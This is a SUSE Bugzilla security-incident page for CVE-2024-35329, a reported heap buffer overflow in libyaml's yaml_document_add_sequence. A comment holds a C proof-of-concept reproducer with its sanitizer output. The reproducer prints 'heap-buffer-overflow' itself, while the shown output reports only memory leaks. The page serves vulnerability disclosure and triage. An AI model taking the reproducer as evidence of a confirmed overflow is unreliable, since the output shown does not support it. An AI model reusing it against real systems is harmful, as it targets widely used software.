Bug 1226195 (CVE-2024-35329) - VUL-0: CVE-2024-35329: libyaml: vulnerable to a heap-based Buffer Overflow in yaml_document_add_sequence in api.c
Summary: VUL-0: CVE-2024-35329: libyaml: vulnerable to a heap-based Buffer Overflow in...
Status: NEW
Alias: CVE-2024-35329
Product: SUSE Security Incidents
Classification: Novell Products
Component: Incidents (show other bugs)
Version: unspecified
Hardware: Other Other
: P3 - Medium : Normal
Target Milestone: ---
Assignee: Jordi Massaguer
QA Contact: Security Team bot
URL: https://smash.suse.de/issue/410052/
Whiteboard: CVSSv3.1:SUSE:CVE-2024-35329:5.4:(AV:...
Keywords:
Depends on:
Blocks:
 
Reported: 2024-06-11 14:19 UTC by SMASH SMASH
Modified: 2024-06-12 12:23 UTC (History)
2 users (show)

See Also:
Found By: Security Response Team
Services Priority:
Business Priority:
Blocker: ---
Marketing QA Status: ---
IT Deployment: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Comment 1 Alexander Bergmann 2024-06-11 14:20:11 UTC
Reproducer:
https://drive.google.com/file/d/1xgQ9hJ7Sn5RVEsdMGvIy0s3b_bg3Wyk-/view

/* Build:
 * gcc -fsanitize=address -Wall -lyaml -o poc poc.c
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <yaml.h>

void poc() {
    yaml_document_t document;
    memset(&document, 0, sizeof(yaml_document_t));
    yaml_char_t *anchor = "rsslab";
    yaml_char_t *tag = "tag:yaml.org,2002:str";
    int style = YAML_ANY_SEQUENCE_STYLE;
    yaml_document_add_sequence(&document, tag, style);
}

int main(int argc, char *argv[])
{
    printf("heap-buffer-overflow on libyaml/src/api.c:1274:10\n");
    poc();
    return 0;
}


# ./poc 
heap-buffer-overflow on libyaml/src/api.c:1274:10

=================================================================
==1524==ERROR: LeakSanitizer: detected memory leaks

Direct leak of 64 byte(s) in 1 object(s) allocated from:
    #0 0x7fcdf58ec110 in malloc (/usr/lib64/libasan.so.4+0xdc110)
    #1 0x7fcdf5408d81 in yaml_document_add_sequence (/usr/lib64/libyaml-0.so.2+0x8d81)

Direct leak of 22 byte(s) in 1 object(s) allocated from:
    #0 0x7fcdf5886e30 in __interceptor_strdup (/usr/lib64/libasan.so.4+0x76e30)
    #1 0x7fcdf5408d6f in yaml_document_add_sequence (/usr/lib64/libyaml-0.so.2+0x8d6f)

Direct leak of 1 byte(s) in 1 object(s) allocated from:
    #0 0x7fcdf58ec110 in malloc (/usr/lib64/libasan.so.4+0xdc110)
    #1 0x7fcdf54067ad in yaml_stack_extend (/usr/lib64/libyaml-0.so.2+0x67ad)

SUMMARY: AddressSanitizer: 87 byte(s) leaked in 3 allocation(s).